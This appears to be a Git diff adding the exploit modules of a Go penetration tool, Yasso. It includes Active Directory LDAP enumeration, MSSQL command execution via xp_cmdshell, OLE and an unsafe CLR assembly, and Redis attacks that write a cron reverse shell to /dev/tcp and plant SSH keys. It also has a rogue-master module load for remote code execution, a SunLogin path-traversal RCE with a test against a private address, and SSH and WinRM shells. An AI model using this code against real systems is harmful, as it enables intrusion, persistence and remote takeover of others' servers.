if len(entry.GetAttributeValue("userAccountControl")) > 0 {
uacFlag, err := strconv.ParseInt(entry.GetAttributeValue("userAccountControl"), 0, 64)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("UAC Flag: %s", strings.Join(LdapParse(uacFlag, UacFlags)[:], ","))},
})
}
}
if len(entry.GetAttributeValue("userAccountControl")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("User Account Control: %s", entry.GetAttributeValue("userAccountControl"))},
})
}
if len(entry.GetAttributeValue("trustType")) > 0 {
trustType, err := strconv.ParseInt(entry.GetAttributeValue("trustType"), 0, 64)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Trust Type: %s", strings.Join(LdapParse(trustType, TrustType)[:], ","))},
})
}
}
if len(entry.GetAttributeValue("trustDirection")) > 0 {
trustDirection, err := strconv.ParseInt(entry.GetAttributeValue("trustDirection"), 0, 64)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Trust Direction: %s", strings.Join(LdapParse(trustDirection, TrustDirections)[:], ","))},
})
}
}
if len(entry.GetAttributeValue("trustAttributes")) > 0 {
trustAttributes, err := strconv.ParseInt(entry.GetAttributeValue("trustAttributes"), 0, 64)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Trust Attribute: %s", strings.Join(LdapParse(trustAttributes, Trust)[:], ","))},
})
}
}
if len(entry.GetAttributeValue("objectGUID")) > 0 {
guid, err := LdapGUID(entry.GetRawAttributeValue("objectGUID"))
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Object GUID: %s", guid)},
})
}
}
if len(entry.GetAttributeValue("objectSid")) > 0 {
sidByte := []byte(entry.GetAttributeValue("objectSid"))
sid, err := LdapSID(sidByte)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Object SID: %s", sid)},
})
}
}
}

44
pkg/exploit/ldap/ldap.go Normal file
View File

@@ -0,0 +1,44 @@
package ldap
import (
"Yasso/pkg/exploit/ldap/core/query"
"fmt"
"strings"
)
// LdapAuthAndQuery ldap 认证并且查询目标
// 设置参数 command , filter, user , password, dc host , name
func LdapAuthAndQuery(ldapServer, ldapUser, ldapPassword, command, filter, name string, all bool) {
s := strings.Split(ldapServer, ".")
baseDN := ""
for x := 1; x < len(s); x++ {
if x == len(s)-1 {
baseDN += "DC=" + s[x]
} else {
baseDN += "DC=" + s[x] + ","
}
}
ldapServer = fmt.Sprintf("%s:389", ldapServer)
query.LdapListQuery(ldapServer, ldapUser, ldapPassword, baseDN, command, filter, name, all)
}
func ListLdapCommand() {
fmt.Println(" 可执行的查询命令")
fmt.Println(" dc - 列出域控制器")
fmt.Println(" domain-trust - 列出域信任关系")
fmt.Println(" users - 列出域内全部用户")
fmt.Println(" computers - 列出域内全部计算机")
fmt.Println(" groups - 列出域内组和成员")
fmt.Println(" spn - 列出服务的spn对象")
fmt.Println(" never-loggedon - 列出域内从未登陆过的用户")
fmt.Println(" gpo - 列出gpo规则对象")
fmt.Println(" ou - 列出组织单位")
fmt.Println(" ms-sql - 列出SQL Server服务(注册的)")
fmt.Println(" asreproast - 列出AS-REP可托管账户")
fmt.Println(" unconstrained - 列出不受约束委派的用户")
fmt.Println(" admin-priv - 列出域内管理员权限组")
fmt.Println(" 可执行的过滤器指令(users,groups,computers)")
fmt.Println(" list - 仅仅列出全部对象")
fmt.Println(" full-data - 列出全部对象带有对象属性")
fmt.Println(" membership - 列出全部的成员从一个对象当中")
}

213
pkg/exploit/mssql/mssql.go Normal file
View File

@@ -0,0 +1,213 @@
package mssql
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"database/sql"
_ "embed"
"fmt"
"strconv"
"time"
)
//go:embed static/SharpSQLKit.txt
var SharpSQLKit string
func ExploitMssql(exploits config.Exploits, method int, Command string) {
var (
conn = new(setting)
)
mssqlConn, status, err := plugin.MssqlConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1000 * time.Millisecond,
}, exploits.User, exploits.Pass)
if status == false || err != nil {
logger.Fatal("conn mssql failed")
return
}
switch method {
case 1:
conn.Setting(mssqlConn)
conn.xp_shell(Command)
case 2:
conn.Setting(mssqlConn)
conn.sp_shell(Command)
case 3:
conn.Setting(mssqlConn)
conn.Install_clr()
case 4:
conn.Setting(mssqlConn)
conn.Uninstall_clr()
default:
logger.Fatal("not found mssql exploit method")
return
}
}
func (s *setting) Setting(conn *sql.DB) {
s.Conn = conn
}
type setting struct {
Conn *sql.DB
Command string
}
func (s *setting) xp_shell(Command string) bool {
if s.set_configuration("xp_cmdshell", 0) && !s.enable_xp_cmdshell() {
return false
}
logger.Success(fmt.Sprintf("Command: %v", Command))
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
r, err := config.SQLExecute(s.Conn, sqlstr)
if err != nil {
logger.Fatal(fmt.Sprintf("exec xp_cmdshell command failed %v", err))
return false
}
for _, b := range r.Rows {
fmt.Println(b[0])
}
return true
}
func (s *setting) sp_shell(Command string) bool {
if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
return false
}
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'ReadAll', @str out
select @str`, Command)
logger.Success(fmt.Sprintf("Command: %v", Command))
r, err := config.SQLExecute(s.Conn, sqlstr)
if err != nil {
logger.Fatal(fmt.Sprintf("exec ole command failed %v", err))
return false
}
for i, b := range r.Rows {
fmt.Println(b[i])
}
return true
}
func (s *setting) Enable_ole() bool {
if !s.set_configuration("show advanced options", 1) {
logger.Fatal("cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures", 1) {
logger.Fatal("cannot enable 'Ole Automation Procedures'")
return false
}
return true
}
func (s *setting) check_configuration(option string, value int) bool {
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
r, err := config.SQLExecute(s.Conn, Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func (s *setting) set_configuration(option string, value int) bool {
// 设置
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
return false
}
return s.check_configuration(option, value)
}
func (s *setting) set_permission_set() bool {
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON")
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON Failed")
return false
}
return true
}
func (s *setting) enable_xp_cmdshell() bool {
if !s.set_configuration("show advanced options", 1) {
logger.Fatal("cannot ebable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell", 1) {
logger.Fatal("cannot enable 'xp_cmdshell'")
return false
}
return true
}
func (s *setting) Install_clr() bool {
if !s.set_permission_set() {
return false
}
if !s.CREATE_ASSEMBLY() {
return false
}
if !s.CREATE_PROCEDURE() {
return false
}
logger.Info("Install SharpSQLKit successful!")
logger.Info("Please Use SQL Connect Tools to Execute")
return true
}
func (s *setting) CREATE_ASSEMBLY() bool {
var KitHex string
logger.Info("SQLKit ==> SharpSQLKit")
KitHex = SharpSQLKit
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
AUTHORIZATION [dbo]
FROM 0x%s
WITH PERMISSION_SET = UNSAFE;`, KitHex)
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
logger.Fatal(fmt.Sprintf("Import the assembly failed %v", err))
return false
}
logger.Info("Import the assembly")
return true
}
func (s *setting) CREATE_PROCEDURE() bool {
var Command string
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
logger.Fatal(fmt.Sprintf("Link the assembly to a stored procedure failed %v", err))
return false
}
logger.Info("Link the assembly to a stored procedure")
return true
}
func (s *setting) Uninstall_clr() bool {
var Command string
logger.Info("SQLKit ==> SharpSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
drop assembly CLR_module`)
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
logger.Fatal(fmt.Sprintf("Uninstall SQLKit failed %v", err))
return false
}
logger.Info("uninstall SQLKit successful!")
return true
}

File diff suppressed because one or more lines are too long

499
pkg/exploit/redis/redis.go Normal file
View File

@@ -0,0 +1,499 @@
package redis
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"bufio"
"context"
_ "embed"
"errors"
"fmt"
"github.com/go-redis/redis/v8"
"io"
"net"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
)
//go:embed static/exp.so
var payload []byte
func ExploitRedis(exploits config.Exploits, method int, rebound, filename string, Listen string, soPath string) {
var conn net.Conn
var err error
var status bool
switch method {
case 1: // redis写定时计划
if exploits.Pass == "" {
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", "")
} else {
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, exploits.User, exploits.Pass)
}
if err != nil || status == false {
logger.Fatal("Redis auth has an error")
return
}
redisCron(conn, rebound)
case 2: // redis 写key
if exploits.Pass == "" {
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", "")
} else {
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", exploits.Pass)
}
if err != nil || status == false {
logger.Fatal("Redis auth has an error")
return
}
redisKey(conn, filename)
case 3:
client := initRedisClient(exploits.Hostname, exploits.Port, exploits.Pass)
var lhost string
var lport int
if Listen != "" && len(strings.Split(Listen, ":")) == 2 {
lhost = strings.Split(Listen, ":")[0]
lport, err = strconv.Atoi(strings.Split(Listen, ":")[1])
}
soWrite(client, lhost, lport, soPath)
default:
logger.Fatal("not found redis exploit method")
return
}
}
func test(conn net.Conn) (cron bool, ssh bool, err error) {
var reply string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
if err != nil {
return false, false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, false, err
}
if strings.Contains(reply, "OK") {
ssh = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
if err != nil {
return false, ssh, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, ssh, err
}
if strings.Contains(reply, "OK") {
cron = true
}
return cron, ssh, nil
}
func redisCron(conn net.Conn, ReboundAddress string) bool {
c, _, err := test(conn)
if err != nil {
logger.Fatal("redis may be not write")
return false
}
if c {
status, err := cronWrite(conn, ReboundAddress)
if err != nil {
logger.Fatal("write rebound shell address failed")
return false
}
if status {
logger.Info("write rebound shell address success")
return true
} else {
logger.Fatal("write rebound shell address failed")
}
} else {
logger.Fatal("write rebound shell address failed")
}
return false
}
func redisKey(conn net.Conn, filename string) bool {
_, k, err := test(conn)
if err != nil {
logger.Fatal("redis may be not write")
return false
}
if k {
status, err := keyWrite(conn, filename)
if err != nil {
logger.Fatal("write public key into /root/.ssh/ failed")
return false
}
if status {
logger.Info("write public key into /root/.ssh/ success")
return true
} else {
logger.Fatal("write public key into /root/.ssh/ failed")
}
} else {
logger.Fatal("write public key into /root/.ssh/ failed")
}
return false
}
func cronWrite(conn net.Conn, ReboundAddress string) (bool, error) {
var (
remote = strings.Split(ReboundAddress, ":")
flag = false
reply string
host string
port string
)
if len(remote) == 2 {
host, port = remote[0], remote[1]
} else {
return false, errors.New("remote host address is not like 192.160.1.1:4444")
}
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
// 存在定时计划写入
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
// 数据库设置成功
if strings.Contains(reply, "+OK") {
// 写入定时计划任务
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("save corn success")
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("restore the original dbfilename")
}
}
}
return flag, nil
}
func keyWrite(conn net.Conn, filename string) (bool, error) {
var flag = false
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return false, err
}
reply, err := plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return false, err
}
reply, err := plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
key, err := readKeyFile(filename)
if err != nil {
return false, err
}
if len(key) == 0 {
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
// 保存
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("Restore the original dbfilename")
}
}
}
return flag, nil
}
func readKeyFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func soWrite(client *redis.Client, lHost string, lPort int, soPath string) {
// 设置so文件存放路径
var dest string
if soPath == "" {
dest = "/tmp/net.so"
} else {
dest = soPath
}
rexec(fmt.Sprintf("slaveof %v %v", lHost, lPort), client)
logger.Info(fmt.Sprintf("slaveof %v %v", lHost, lPort))
dbfilename, dir := getInformation(client)
filenameDir, filename := filepath.Split(dest)
rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
// 做监听
listenLocal(fmt.Sprintf("%v:%v", lHost, lPort))
// 重置数据库
reStore(client, dir, dbfilename)
// 加载so文件
s := rexec(fmt.Sprintf("module load %v", dest), client)
if s == "need unload" {
logger.Info("try to unload")
rexec(fmt.Sprintf("module unload system"), client)
logger.Info("to the load")
rexec(fmt.Sprintf("module load %v", dest), client)
}
logger.Info("module load success")
// 循环执行命令
reader := bufio.NewReader(os.Stdin)
for {
var cmd string
fmt.Printf("[redis-rce]» ")
cmd, _ = reader.ReadString('\n')
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
if cmd == "exit" {
cmd = fmt.Sprintf("rm %v", dest)
run(fmt.Sprintf(cmd), client)
rexec(fmt.Sprintf("module unload system"), client)
logger.Info("module unload system break redis-rce")
break
}
receive(run(fmt.Sprintf(cmd), client))
}
os.Exit(0)
}
func initRedisClient(host string, port int, pass string) *redis.Client {
rdb := redis.NewClient(&redis.Options{
Addr: fmt.Sprintf("%v:%v", host, port),
Password: pass, // no password set
DB: 0, // use default DB
})
return rdb
}
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
defer wg.Done()
buf := make([]byte, 1024)
for {
time.Sleep(1 * time.Second)
n, err := c.Read(buf)
if err == io.EOF || n == 0 {
logger.Info("master-slave replication process is complete")
return
}
switch {
case strings.Contains(string(buf[:n]), "PING"):
_, _ = c.Write([]byte("+PONG\r\n"))
//Send("+PONG")
case strings.Contains(string(buf[:n]), "REPLCONF"):
_, _ = c.Write([]byte("+OK\r\n"))
//Send("+OK")
case strings.Contains(string(buf[:n]), "SYNC"):
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
rep := []byte(resp)
rep = append(rep, payload...)
rep = append(rep, []byte("\r\n")...)
_, _ = c.Write(rep)
//Send(resp)
}
}
}
func rexec(cmd string, client *redis.Client) string {
args := strings.Fields(cmd)
var argsInterface []interface{}
for _, arg := range args {
argsInterface = append(argsInterface, arg)
}
//Send(cmd)
val, err := client.Do(context.Background(), argsInterface...).Result()
return check(val, err)
}
func check(val interface{}, err error) string {
if err != nil {
if err == redis.Nil {
logger.Fatal("key is not exist")
return ""
}
logger.Fatal(fmt.Sprintf("%v", err.Error()))
if err.Error() == "error loading the extension. Please check the server logs." {
return "need unload"
}
os.Exit(0)
}
switch v := val.(type) {
case string:
return v
case []string:
return "list result:" + strings.Join(v, " ")
case []interface{}:
s := ""
for _, i := range v {
s += i.(string) + " "
}
return s
}
return ""
}
func run(cmd string, client *redis.Client) string {
ctx := context.Background()
val, err := client.Do(ctx, "system.exec", cmd).Result()
return check(val, err)
}
func receive(str string) {
str = strings.TrimSpace(str)
fmt.Println(fmt.Sprintf("%v", str))
}
func getInformation(client *redis.Client) (string, string) {
r := rexec("config get dbfilename", client)
if !strings.HasPrefix(r, "dbfilename") {
return "", ""
}
dbfilename := r[11 : len(r)-1]
d := rexec("config get dir", client)
if !strings.HasPrefix(d, "dir") {
return "", ""
}
dir := d[4 : len(d)-1]
return dbfilename, dir
}
func listenLocal(address string) {
var wg = &sync.WaitGroup{}
wg.Add(1)
addr, err := net.ResolveTCPAddr("tcp", address)
if err != nil {
logger.Fatal("resolve tcp address failed")
os.Exit(0)
}
listen, err := net.ListenTCP("tcp", addr)
if err != nil {
logger.Fatal("listen tcp address failed")
os.Exit(0)
}
defer func(listen *net.TCPListener) {
err := listen.Close()
if err != nil {
return
}
}(listen)
logger.Info(fmt.Sprintf("start listen in %v", address))
c, err := listen.AcceptTCP()
if err != nil {
logger.Fatal("accept tcp failed")
os.Exit(0)
}
go masterSlave(wg, c)
wg.Wait()
_ = c.Close()
}
func reStore(client *redis.Client, dir, dbfilename string) {
success := rexec("slaveof no one", client)
if strings.Contains(success, "OK") {
logger.Info("restore file success")
}
rexec(fmt.Sprintf("config set dir %v", dir), client)
rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
}

Binary file not shown.

76
pkg/exploit/ssh/ssh.go Normal file
View File

@@ -0,0 +1,76 @@
package ssh
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"fmt"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
"os"
"time"
)
func ExploitSSH(exploits config.Exploits, key string) {
var SshConn *ssh.Client
var status bool
var err error
if key == "" {
SshConn, status, err = plugin.SshConnByUser(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1000 * time.Millisecond,
}, exploits.User, exploits.Pass)
} else {
SshConn, status, err = plugin.SshConnByKey(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1000 * time.Millisecond,
PublicKey: key,
}, exploits.User)
}
if err != nil || status == false {
logger.Fatal("exploit ssh has an error conn to ssh failed")
return
}
loginSSH(SshConn) // 连接到ssh
}
func loginSSH(client *ssh.Client) {
defer client.Close()
session, err := client.NewSession()
if err != nil {
logger.Fatal(fmt.Sprintf("new ssh session failed %v", err))
return
}
defer session.Close()
session.Stdout = os.Stdout
session.Stderr = os.Stderr
session.Stdin = os.Stdin
modes := ssh.TerminalModes{
ssh.ECHO: 1,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
ssh.VSTATUS: 1,
}
fd := int(os.Stdin.Fd())
oldState, err := terminal.MakeRaw(fd)
if err != nil {
logger.Fatal(fmt.Sprintf("terminal failed %v", err))
}
defer terminal.Restore(fd, oldState)
w, h, err := terminal.GetSize(fd)
if err = session.RequestPty("xterm-256color", h, w, modes); err != nil {
logger.Fatal(fmt.Sprintf("Session Request new xterm failed %v", err))
return
}
if err = session.Shell(); err != nil {
logger.Fatal(fmt.Sprintf("Session start shell failed %v", err))
return
}
if err = session.Wait(); err != nil {
logger.Fatal(fmt.Sprintf("Session wait failed %v", err))
return
}
}

View File

@@ -0,0 +1,66 @@
package sunlogin
import (
"Yasso/core/logger"
"Yasso/pkg/exploit/config"
"fmt"
"golang.org/x/text/encoding/simplifiedchinese"
"io"
"net/http"
"net/url"
"regexp"
"time"
)
func ExploitSunLogin(exploits config.Exploits, Command string) {
addr := fmt.Sprintf("%v:%v", exploits.Hostname, exploits.Port)
verify := getVerify(addr)
if Command != "" {
re := runCmd(Command, addr, verify)
if re == "" {
logger.Fatal(fmt.Sprintf("exploit %s failed", addr))
return
} else {
logger.Info(re)
}
} else {
logger.Fatal("exploit need command params")
return
}
}
func getVerify(addr string) string { //获取Verify认证
resp, err := http.Get(fmt.Sprintf("http://%s/cgi-bin/rpc?action=verify-haras", addr))
if err != nil {
return ""
}
b, _ := io.ReadAll(resp.Body)
reg := regexp.MustCompile(`"verify_string":"(.*?)"`)
result := reg.FindAllSubmatch(b, 1)
if len(result) > 0 {
if len(result[0]) == 2 {
return string(result[0][1])
}
}
return ""
}
func runCmd(cmd string, addr string, verify string) string {
cmd = url.QueryEscape(cmd)
target := "http://" + addr + `/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+` + cmd
req, err := http.NewRequest("GET", target, nil)
if err != nil {
return ""
}
req.Header.Add("Cookie", "CID="+verify)
var client = http.DefaultClient
client.Timeout = 5 * time.Second
resp, _ := client.Do(req)
if err != nil || resp == nil {
return ""
} else {
str, _ := io.ReadAll(resp.Body)
str, _ = simplifiedchinese.GBK.NewDecoder().Bytes(str)
//fmt.Println(string(str))
return string(str)
}
}

View File

@@ -0,0 +1,16 @@
package sunlogin
import (
"Yasso/pkg/exploit/config"
"testing"
)
func Test(t *testing.T) {
ExploitSunLogin(config.Exploits{
Hostname: "192.168.248.1",
Port: 49690,
User: "",
Pass: "",
}, "whoami")
}

View File

@@ -0,0 +1,62 @@
package winrm
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"fmt"
"github.com/masterzen/winrm"
"io"
"os"
"time"
)
func ExploitWinRM(exploits config.Exploits, Command string, isShell int) {
WinRMConn, status, err := plugin.WinRMAuth(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1000 * time.Millisecond,
}, exploits.User, exploits.Pass)
if err != nil || status == false {
return
}
switch isShell {
case 1:
WinRMShell(WinRMConn, Command, false)
case 2:
WinRMShell(WinRMConn, Command, true)
default:
logger.Fatal("not found exploit method")
return
}
}
func WinRMShell(client *winrm.Client, Command string, shell bool) {
if shell == true {
shell, err := client.CreateShell()
if err != nil {
logger.Fatal(fmt.Sprintf("create shell failed %v", err))
return
}
var cmd *winrm.Command
cmd, err = shell.Execute("cmd.exe")
if err != nil {
logger.Fatal(fmt.Sprintf("[!] create shell failed %v", err))
return
}
go io.Copy(cmd.Stdin, os.Stdin)
go io.Copy(os.Stdout, cmd.Stdout)
go io.Copy(os.Stderr, cmd.Stderr)
cmd.Wait()
shell.Close()
} else {
_, err := client.Run(Command, os.Stdout, os.Stderr)
if err != nil {
logger.Fatal(fmt.Sprintf("[!] Execute Command failed %v", err))
return
}
}
}